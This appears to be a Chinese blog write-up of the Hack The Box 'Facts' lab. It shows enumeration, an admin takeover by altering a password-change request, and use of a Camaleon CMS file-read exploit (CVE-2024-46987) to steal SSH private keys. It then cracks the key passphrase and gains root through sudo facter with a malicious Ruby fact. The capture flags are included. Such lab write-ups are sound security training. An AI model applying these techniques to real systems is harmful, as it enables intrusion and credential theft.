HTB Facts 靶场 Writeup
Nmap
将机器主机名添加到本地主机文件中:
1 | echo "10.129.244.96 facts.htb" | sudo tee -a /etc/hosts |
10.129.244.96

扫端口:

目录扫描:
1 | feroxbuster -u http://facts.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt |

扫到:http://facts.htb/admin/login
随意注册登录:
登录后发现CMS版本

CMS
在用户这里可以修改密码

抓包:

改成admin

再次登录即可进入到管理员界面

CVE-2024-46987
Camaleon CMS 认证任意文件读取

拿到 id 为 1000 的用户名 trivia ,1001 是 william
接着读 ssh 私钥(id_rsa、id_ed 25519、id_ecdsa)
1 | python3 CVE-2024-46987.py -u http://facts.htb/ -l 1 -p 2 /home/trivia/.ssh/id_ed25519 |

ssh2john
读到ssh 私钥之后,ssh 登录,但是 key 有密码用 ssh 2 john 存为 hash,再用 john 爆破
先把私钥内容保存成本地文件,然后给权限

再用 ssh2john 提取成 John 可爆破的 hash
1 | python3 /usr/share/john/ssh2john.py id_ed5519 > ssh.hash |

在用john爆破密码


ssh连接
1 | chmod 600 id_ed5519 |
ssh 上去之后,在 william 目录拿到 flag 1: 9cbd4e6c2bc8315e960b3a3f9c890713

提权
sudo -l (列出当前用户可以通过 sudo 执行的命令)找到免 passwd 命令 /usr/bin/facter
facter是Puppet 生态里的一个信息收集工具,正常用途是输出系统信息,比如:主机名,IP,操作系统版本,CPU/内存信息
它有一个很重要的功能:支持加载“自定义 facts”
也就是说,除了内置的信息收集逻辑外,它还能从指定目录读入你自己写的 Ruby 文件,然后把这些文件里的逻辑执行出来

读取:

Facter 有一个 –custom-dir 参数,可以构造 恶意的 Ruby fact 文件进行rce

1 | mkdir -p /tmp/rfacts |
提权至 root
1 | sudo /usr/bin/facter --custom-dir /tmp/rfacts evil |


进入root目录拿到flag2: 487cb2b85816781deaa3d99a205c2b3d

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Echoin 的博客!